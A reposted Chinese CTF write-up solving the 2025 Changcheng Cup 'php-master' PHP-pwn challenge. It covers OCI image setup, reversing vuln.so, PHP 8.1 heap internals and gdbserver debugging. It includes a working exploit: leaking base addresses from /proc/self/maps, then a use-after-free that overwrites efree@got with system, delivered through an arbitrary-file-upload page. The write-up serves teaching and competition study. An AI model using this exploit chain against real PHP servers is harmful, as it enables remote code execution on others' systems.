长城杯2025 (php-pwn) simi-final php-master 详解

admin 2025年5月26日19:34:51评论10 views字数 14666阅读48分53秒阅读模式

1.题目概览

我们拿到附件之后可以看到文件的结构大致如下:

长城杯2025 (php-pwn) simi-final php-master 详解

由于之前也没有接触过phppwn,所以比赛现场看到这个文件结构还是很懵逼的赛后拿去问问gpt。

==以下是GPT的回答:==

这个文件的结构看起来非常像是一个OCI(Open Container Initiative)镜像,也就是说,它很可能是一个用来打包容器镜像的标准格式结构。下面是每个文件或目录的作用解析:

blobs/

◆这是 OCI 镜像中的“二进制大对象”存储目录,里面存放的是镜像的各个层(layer)的压缩数据,比如文件系统层、配置层等。

◆通常会以哈希值作为子目录,里面的文件是实际的镜像数据(例如.tar.gz文件)。

index.json

◆这是 OCI 镜像的索引文件,描述了这个镜像有哪些 manifest。

◆通常包含了镜像的入口信息,比如哪个是默认的 manifest、架构(如 amd64)、平台(如 linux)等。

manifest.json

◆描述这个镜像的结构,包括:

  • 依赖了哪些层(layer)

  • 镜像配置(config)

  • 层的哈希值、大小、媒体类型等

◆类似 Docker 镜像里的manifest.json

oci-layout

◆是 OCI 镜像规范必须包含的一个元数据文件,内容非常简单,说明了镜像采用的 OCI layout 的版本(通常是"1.0.0")。

repositories

◆一些 OCI 工具会在打包时自动添加这个文件,用来记录镜像所属的仓库(repository)名。

◆类似 Docker 镜像里的 tag 信息。

总体理解

这个.tar文件不是普通的 PHP 项目源码压缩包,而是一个容器镜像文件(OCI 镜像),它可能是使用类似buildahskopeodocker(带有--format oci参数)等工具打包生成的。

2.启动容器

经过gpt分析,这是一个docker打包好的容器镜像文件,所以可以通过docker启动,并进入docker容器查看具体的文件结构。

docker load -i php-master.tardocker run -it your_image_id  /bin/bash

通过命令可以直接docker 加载这个镜像,然后运行进入,就可以查看这个容器内大致的文件结构了。

3.分析目标

同kernel那类题目有些相似,一般php pwn都是会在一个extensions的文件夹下放入一个.so的动态链接库文件,pwn手分析的目标一般都是这些.so文件,出题人留下的漏洞一般都写在这些动态链接库当中。

本题也不例外,我们可以用:

find . | grep "extensions"

查找extensions目录所在的位置,可以在这个目录下找到我们需要分析的.so动态链接库文件。

长城杯2025 (php-pwn) simi-final php-master 详解

4.建立映射关系的启动

找到了需要分析的文件,我们如何从镜像中将之提取出来方便我们本机分析呢?

我们用到docker-compose 组件,创建一个yml启动配置文件,建立本机与容器之间的映射关系,就可以在本机与docker容器之间建立一个类似共享文件夹的东西,在容器中将这些.so文件复制到 这个共享文件夹中,就可以拉出来正常分析了

docker-compose.yml

# 版本号version: '3'#启动的服务services:#服务名  php-master:#镜像    image: php-master:attachment-v1#映射的端口,    ports:      - "80:80"      - "28888:9191"# 将主机的28888端口映射到容器中的9191端口#文件夹映射  将当前主机目录下的data文件夹作为共享文件夹,映射到容器中的/var/www/html/exp文件夹中    volumes:      - ./data:/var/www/html/exp

我们只需要在容器中将这些.so文件 cp 到 /var/www/html/exp文件夹下,就可以在本机的data文件下看到了,也就可以拿去ida分析了。

5.总体逻辑说明

index.php

<?php@error_reporting(E_ALL);if ($_SERVER['REQUEST_METHOD'] === 'POST') {if (isset($_FILES['file'])) {$file = $_FILES['file'];$upload_dir = '';$target_file = $upload_dir . basename($file['name']);$result = move_uploaded_file($file['tmp_name'], $target_file);if ($result) {$message = '文件上传成功!';$msg_class = 'success';        } else {$message = '文件上传失败';$msg_class = 'error';        }    } else {$message = '没有选择要上传的文件';$msg_class = 'error';    }}?><!DOCTYPE html><html lang="zh-CN"><head>    <meta charset="UTF-8">    <title>PHP MASTER</title>    <style>        body {            font-family: Arial, sans-serif;            max-width: 500px;            margin: 50px auto;            padding: 20px;        }        .upload-box {            border: 2px dashed #ccc;            padding: 30px;            text-align: center;        }        .btn {            background: #007bff;            color: white;            padding: 10px20px;            border: none;            border-radius: 4px;            cursor: pointer;        }        .btn:hover {            background: #0056b3;        }        .message {            padding: 15px;            margin: 20px0;            border-radius: 4px;        }        .success {            background: #d4edda;            color: #155724;            border: 1px solid #c3e6cb;        }        .error {            background: #f8d7da;            color: #721c24;            border: 1px solid #f5c6cb;        }    </style></head><body>    <h2>PHP MASTER</h2>    <?php if (isset($message)): ?>        <div class="message <?php echo$msg_class; ?>">            <?php echo$message; ?>        </div>    <?php endif; ?>    <form action="" method="post" enctype="multipart/form-data" class="upload-box">        <p>请选择要上传的文件:</p>        <input type="file" name="file" required>        <br><br>        <button type="submit" class="btn">上传文件</button>    </form></body></html>

我们的题目是一个apache启动的index.php,可以做一个任意文件上传,我们应该像web题一样上传一个可以执行的.php文件并访问他执行,这里也就顺便把fix说了加个后缀过滤,不让上传php文件就完事了,所以exp也得用php写了。

6.vuln .so文件分析

题目这里给的信息已经很明显了,直接取名vuln.so明显有问题。

打开看到的信息大致如下,出题人还是很友好的,符号表全部都有保留方便逆向分析。

长城杯2025 (php-pwn) simi-final php-master 详解

在解析具体函数之前介绍一下

0)zend_parse_parameters函数   (GPT写的)

???? 函数原型

ZEND_API int zend_parse_parameters(int num_args, const char *type_spec, ...);

参数说明:

参数
说明
num_args
PHP 调用时实际传入参数的数量,一般用ZEND_NUM_ARGS()
type_spec
参数类型字符串,例如"ll"表示两个 long 类型
...
用于接收解析结果的变量的地址(按顺序传入)

常见类型字符

字符
含义
C 变量类型
l
long / int(整型)
zend_long
d
double(浮点型)
double
s
字符串(和长度)
char *

,size_t
b
bool
zend_bool
z
zval *(通用)
zval *
a
数组
zval *
o
对象
zval *
`
`
可选参数的分隔符

1)zif_construct函数

长城杯2025 (php-pwn) simi-final php-master 详解

还原结构体,大致如下

长城杯2025 (php-pwn) simi-final php-master 详解

长城杯2025 (php-pwn) simi-final php-master 详解

2)zif_allocate函数

长城杯2025 (php-pwn) simi-final php-master 详解

3)zif_overwrite函数

长城杯2025 (php-pwn) simi-final php-master 详解

同时汇编观察发现,zend_parse_parameters 函数的传入参数其实很多,修正一下。

长城杯2025 (php-pwn) simi-final php-master 详解

这下对劲了。。

4)zif_clear函数

长城杯2025 (php-pwn) simi-final php-master 详解

基本的需要利用的漏洞函数都已解析完毕。

注意到,本质是堆的UAF 任意地址写,同时overwrite函数没有检查init。

7. php源码 -> emalloc 和 efree 以及堆  大致粗略分析

从题目的docker容器中可以查找到对应的php版本

php --versionPHP 8.1.20 (cli) (built: Jun 13 2023 12:02:18) (NTS)Copyright (c) The PHP GroupZend Engine v4.1.20, Copyright (c) Zend Technologies

下载它的源码

heap相关结构体

_zend_mm_heap

struct_zend_mm_heap {#if ZEND_MM_CUSTOM    int                use_custom_heap;#endif#if ZEND_MM_STORAGE    zend_mm_storage   *storage;#endif#if ZEND_MM_STAT    size_t             size;                    /* current memory usage */    size_t             peak;                    /* peak memory usage */#endif    zend_mm_free_slot *free_slot[ZEND_MM_BINS]; /* free lists for small sizes */#if ZEND_MM_STAT || ZEND_MM_LIMIT    size_t             real_size;               /* current size of allocated pages */#endif#if ZEND_MM_STAT    size_t             real_peak;               /* peak size of allocated pages */#endif#if ZEND_MM_LIMIT    size_t             limit;                   /* memory limit */    int                overflow;                /* memory overflow flag */#endif    zend_mm_huge_list *huge_list;               /* list of huge allocated blocks */    zend_mm_chunk     *main_chunk;    zend_mm_chunk     *cached_chunks;/* list of unused chunks */    int                chunks_count;/* number of allocated chunks */    int                peak_chunks_count;/* peak number of allocated chunks for current request */    int                cached_chunks_count;/* number of cached chunks */    double             avg_chunks_count;/* average number of chunks allocated per request */    int                last_chunks_delete_boundary; /* number of chunks after last deletion */    int                last_chunks_delete_count;    /* number of deletion over the last boundary */#if ZEND_MM_CUSTOMunion {struct {            void      *(*_malloc)(size_t);void       (*_free)(void*);            void      *(*_realloc)(void*, size_t);        } std;struct {            void      *(*_malloc)(size_t ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC);void       (*_free)(void*  ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC);            void      *(*_realloc)(void*, size_t  ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC);        } debug;    } custom_heap;    HashTable *tracked_allocs;#endif};

_zend_mm_chunk

struct_zend_mm_chunk {    zend_mm_heap      *heap;    zend_mm_chunk     *next;    zend_mm_chunk     *prev;    uint32_t           free_pages;/* number of free pages */    uint32_t           free_tail;               /* number of free pages at the end of chunk */    uint32_t           num;    char               reserve[64 - (sizeof(void*) * 3 + sizeof(uint32_t) * 3)];    zend_mm_heap       heap_slot;               /* used only in main chunk */    zend_mm_page_map   free_map;                /* 512 bits or 64 bytes */    zend_mm_page_info  map[ZEND_MM_PAGES];      /* 2 KB = 512 * 4 */};

注释写的还算比较好理解

emalloc

ZEND_API void* ZEND_FASTCALL _emalloc(size_t size ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC){#if ZEND_MM_CUSTOM //如果采用自定义if (UNEXPECTED(AG(mm_heap)->use_custom_heap)) {return _malloc_custom(size ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);    }#endif//默认的php zend引擎管理器returnzend_mm_alloc_heap(AG(mm_heap), size ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);}

bin和free_slot

/* * bin - is one or few continuous pages (up to 8) used for allocation of * a particular "small size". */struct_zend_mm_bin {    char               bytes[ZEND_MM_PAGE_SIZE * 8];};struct_zend_mm_free_slot {    zend_mm_free_slot *next_free_slot;};

zend_mm_alloc_heap

static zend_always_inline void *zend_mm_alloc_heap(zend_mm_heap *heap, size_t size ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC){    void *ptr;#if ZEND_DEBUG    size_t real_size = size;    zend_mm_debug_info *dbg;/* special handling for zero-size allocation */    size = MAX(size, 1);    size = ZEND_MM_ALIGNED_SIZE(size) + ZEND_MM_ALIGNED_SIZE(sizeof(zend_mm_debug_info));if (UNEXPECTED(size < real_size)) {zend_error_noreturn(E_ERROR, "Possible integer overflow in memory allocation (%zu + %zu)"ZEND_MM_ALIGNED_SIZE(real_size), ZEND_MM_ALIGNED_SIZE(sizeof(zend_mm_debug_info)));returnNULL;    }#endifif (EXPECTED(size <= ZEND_MM_MAX_SMALL_SIZE)) {        ptr = zend_mm_alloc_small(heap, ZEND_MM_SMALL_SIZE_TO_BIN(size) ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);#if ZEND_DEBUG        dbg = zend_mm_get_debug_info(heap, ptr);        dbg->size = real_size;        dbg->filename = __zend_filename;        dbg->orig_filename = __zend_orig_filename;        dbg->lineno = __zend_lineno;        dbg->orig_lineno = __zend_orig_lineno;#endifreturn ptr;    } elseif (EXPECTED(size <= ZEND_MM_MAX_LARGE_SIZE)) {        ptr = zend_mm_alloc_large(heap, size ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);#if ZEND_DEBUG        dbg = zend_mm_get_debug_info(heap, ptr);        dbg->size = real_size;        dbg->filename = __zend_filename;        dbg->orig_filename = __zend_orig_filename;        dbg->lineno = __zend_lineno;        dbg->orig_lineno = __zend_orig_lineno;#endifreturn ptr;    } else {#if ZEND_DEBUG        size = real_size;#endifreturnzend_mm_alloc_huge(heap, size ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);    }}

对于php的堆利用大多数都采用小堆块,我们直接看小堆块的申请逻辑。

zend_mm_alloc_small

static zend_always_inline void *zend_mm_alloc_small(zend_mm_heap *heap, int bin_num ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC){#if ZEND_MM_STAT//获取页之类的操作?给整个heap管理结构体更新信息do {        size_t size = heap->size + bin_data_size[bin_num];        size_t peak = MAX(heap->peak, size);        heap->size = size;        heap->peak = peak;    } while (0);#endif// 如果free_list里有东西,直接取出来,更新free_listif (EXPECTED(heap->free_slot[bin_num] != NULL)) {        zend_mm_free_slot *p = heap->free_slot[bin_num];        heap->free_slot[bin_num] = p->next_free_slot;return p;    } else {//否则走这边returnzend_mm_alloc_small_slow(heap, bin_num ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);    }}

zend_mm_alloc_small_slow

static zend_never_inline void *zend_mm_alloc_small_slow(zend_mm_heap *heap, uint32_t bin_num ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC){    zend_mm_chunk *chunk;    int page_num;    zend_mm_bin *bin;    zend_mm_free_slot *p, *end;#if ZEND_DEBUG    bin = (zend_mm_bin*)zend_mm_alloc_pages(heap, bin_pages[bin_num], bin_data_size[bin_num] ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);#else//申请页内存给到bin    bin = (zend_mm_bin*)zend_mm_alloc_pages(heap, bin_pages[bin_num] ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);#endifif (UNEXPECTED(bin == NULL)) {/* insufficient memory */returnNULL;    }    chunk = (zend_mm_chunk*)ZEND_MM_ALIGNED_BASE(bin, ZEND_MM_CHUNK_SIZE);    page_num = ZEND_MM_ALIGNED_OFFSET(bin, ZEND_MM_CHUNK_SIZE) / ZEND_MM_PAGE_SIZE;    chunk->map[page_num] = ZEND_MM_SRUN(bin_num);if (bin_pages[bin_num] > 1) {        uint32_t i = 1;do {            chunk->map[page_num+i] = ZEND_MM_NRUN(bin_num, i);            i++;        } while (i < bin_pages[bin_num]);    }/* create a linked list of elements from 1 to last *///把 bin 从头开始切割成一段段小块,构建一个 free_slot 链表,挂到 heap->free_slot[bin_num] 上。    end = (zend_mm_free_slot*)((char*)bin + (bin_data_size[bin_num] * (bin_elements[bin_num] - 1)));    heap->free_slot[bin_num] = p = (zend_mm_free_slot*)((char*)bin + bin_data_size[bin_num]);do {        p->next_free_slot = (zend_mm_free_slot*)((char*)p + bin_data_size[bin_num]);#if ZEND_DEBUGdo {            zend_mm_debug_info *dbg = (zend_mm_debug_info*)((char*)p + bin_data_size[bin_num] - ZEND_MM_ALIGNED_SIZE(sizeof(zend_mm_debug_info)));            dbg->size = 0;        } while (0);#endif        p = (zend_mm_free_slot*)((char*)p + bin_data_size[bin_num]);    } while (p != end);/* terminate list using NULL */    p->next_free_slot = NULL;#if ZEND_DEBUGdo {            zend_mm_debug_info *dbg = (zend_mm_debug_info*)((char*)p + bin_data_size[bin_num] - ZEND_MM_ALIGNED_SIZE(sizeof(zend_mm_debug_info)));            dbg->size = 0;        } while (0);#endif/* return first element */return bin;}

至此emalloc的流程大致的解析完毕

efree

ZEND_API void ZEND_FASTCALL _efree(void *ptr ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC){#if ZEND_MM_CUSTOM    if (UNEXPECTED(AG(mm_heap)->use_custom_heap)) {_efree_custom(ptr ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);        return;    }#endifzend_mm_free_heap(AG(mm_heap), ptr ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);}

和emalloc很像,我们直接跟到最后那个函数,看看他如何处理free掉的堆块。

zend_mm_free_small

static zend_always_inline voidzend_mm_free_small(zend_mm_heap *heap, void *ptr, int bin_num){    zend_mm_free_slot *p;#if ZEND_MM_STAT    heap->size -= bin_data_size[bin_num];#endif#if ZEND_DEBUGdo {        zend_mm_debug_info *dbg = (zend_mm_debug_info*)((char*)ptr + bin_data_size[bin_num] - ZEND_MM_ALIGNED_SIZE(sizeof(zend_mm_debug_info)));        dbg->size = 0;    } while (0);#endif    p = (zend_mm_free_slot*)ptr;    p->next_free_slot = heap->free_slot[bin_num];    heap->free_slot[bin_num] = p;}

总体是十分简洁好看的,就是简单的链表头插

那么我们不难得出一个大体的结论和逻辑

emalloc

长城杯2025 (php-pwn) simi-final php-master 详解

efree

直接头插链入freelist

而且好像没有做很多检查和限制,有点像tcache 的逻辑

而事实上,我们完全可以把它当作tcache 来攻击

8. gdb如何调试

在4. 中提到的端口映射,实际上我们只用将gdbserver传入类似共享文件夹中,然后在容器中启动监听,再让主机启动gdb target remote ip:port 即可调试上。

用我们上文写好的启动配置 启动

长城杯2025 (php-pwn) simi-final php-master 详解

可以清晰看到我们的端口映射关系和启动信息

在主机中访问本地ip,可以看到docker容器中的80端口已经被映射了出来,我们可以访问到这个服务了。

长城杯2025 (php-pwn) simi-final php-master 详解

1)docker容器

我们在docker容器中传入gdbserver 并运行

./gdbserver-7.10.1-x64 :9191 php -S 0:80 exp.php
长城杯2025 (php-pwn) simi-final php-master 详解

2)本机(虚拟机)

直接 target remote 本机已经映射好的端口就可以远程调试上了

嫌麻烦的话可以写一个启动脚本

长城杯2025 (php-pwn) simi-final php-master 详解

9.编写exp

在写之前我们可以看看vuln.so的保护

[*] '/root/Desktop/pwn/php_master/data/vuln.so'Arch:       amd64-64-littleRELRO:      Partial RELROStack:      No canary foundNX:         NX enabledPIE:        PIE enabled

got表可写

首先是套板子的介绍,我们打pwn都需要直到各种基址,这样题目中的vuln的got表偏移,对于我们而言才有的意义。

1)获取基址

$map_file = "/proc/self/map";$system_off = 0x44AF0;$libc_base = 0;$vuln_so_base = 0;$efree_got = 0x4060;functionget_so_base($buffer){global$libc_base;global$vuln_so_base;$libc_line_regex = "/([0-9a-f]+)-[0-9a-f]+ .* /lib/x86_64-linux-gnu/libc-2.28.so/";$vuln_so_line_regex ="/([0-9a-f]+)-[0-9a-f]+ .* /usr/local/lib/php/extensions/no-debug-non-zts-[0-9]+/vuln.so/";if (preg_match_all($libc_line_regex$buffer$matches))$libc_base = hexdec($matches[1][0]);elseecho"Failed to get libc base";if (preg_match_all($vuln_so_line_regex$buffer$matches))$vuln_so_base = hexdec($matches[1][0]);elseecho"Failed to get vuln.so base";}ob_start();include"/proc/self/maps";$buffer = ob_get_contents();ob_end_flush();get_so_base($buffer);$efree_got += $vuln_so_base;echo"libc base address: " . dechex($libc_base) . "n<br>";echo"vuln.so base address: " . dechex($vuln_so_base) . "n<br>";echo"_efree.got: " . dechex($efree_got) . "n<br>";

只要没有禁用我们的读写权限,就可以读出基址

否则还是走老路,找一些show的函数,泄露基址

2)uaf利用

construct(0x10);allocate(0,0x30);allocate(1,0x30);clear();overwrite(1,p64($efree_got));# 这里再初始化一次确保init为1 否则无法allocateconstruct(0x10);allocate(0,0x30);allocate(1,0x30);overwrite(0,"/readflag>/var/www/html/flagx00");overwrite(1,p64($libc_base + $system_off));clear();

3)调试

由yaml文件,我们的

# 版本号version: '3'#启动的服务services:#服务名  php-master:#镜像    image: php-master:attachment-v1#映射的端口,    ports:      - "80:80"# 用于映射上传服务      - "28888:9191"# 将主机的28888端口映射到容器中的9191端口 用于gdbserver本地连容器      - "1111:8080"# 用于触发exp.php 调试#文件夹映射  将当前主机目录下的data文件夹作为共享文件夹,映射到容器中的/var/www/html/exp文件夹中    volumes:      - ./data:/var/www/html/exp

用上文所讲的方法就可以连接到容器的gdbserver

长城杯2025 (php-pwn) simi-final php-master 详解

接下来我们要先进行调试,看看我们的思路是否正确

由于做好了映射,我们直接本机访问127.0.0.1:1111 端口就可以触发exp.php了

但由于很多模块还未被加载到内存,所以让本机gdb先直接跑起来,c此时会加载一堆符号表,同时将.so文件加载到内存。

长城杯2025 (php-pwn) simi-final php-master 详解

CTRL + c 打断此时我们就可以对着vuln.so中的函数直接下断了长城杯2025 (php-pwn) simi-final php-master 详解

然后本机浏览器访问localhost:1111端口,即可触发exp.php

这里我直接下断allocate过程,如果一切顺利的话,第四次执行到该函数,会申请到efree@got

其他的如果读者还想验证也是同样的道理

第四次 allocate

长城杯2025 (php-pwn) simi-final php-master 详解

返回值 可以观察到就是efree@got

长城杯2025 (php-pwn) simi-final php-master 详解

将一个堆块内容改为字符串

长城杯2025 (php-pwn) simi-final php-master 详解

将将efree@got改为system函数地址

长城杯2025 (php-pwn) simi-final php-master 详解

最后调用clear函数,efree的触发system

输出我们的flag

长城杯2025 (php-pwn) simi-final php-master 详解

一切如我们所愿

至此exp就算编写完成了

4)远程上传exp.php 并执行

长城杯2025 (php-pwn) simi-final php-master 详解
长城杯2025 (php-pwn) simi-final php-master 详解
长城杯2025 (php-pwn) simi-final php-master 详解

参考https://blog.csdn.net/qq_54218833/article/details/140528238php拿基址和封装p64的板子拿的是csdn上这个佬的代码

附件请点击“阅读原文”查看

长城杯2025 (php-pwn) simi-final php-master 详解

看雪ID:sparkle666

https://bbs.kanxue.com/user-home-1010243.htm

*本文为看雪论坛优秀文章,由 sparkle666 原创,转载请注明来自看雪社区

#

原文始发于微信公众号(看雪学苑):长城杯2025 (php-pwn) simi-final php-master 详解

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月26日19:34:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   长城杯2025 (php-pwn) simi-final php-master 详解https://cn-sec.com/archives/4099529.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息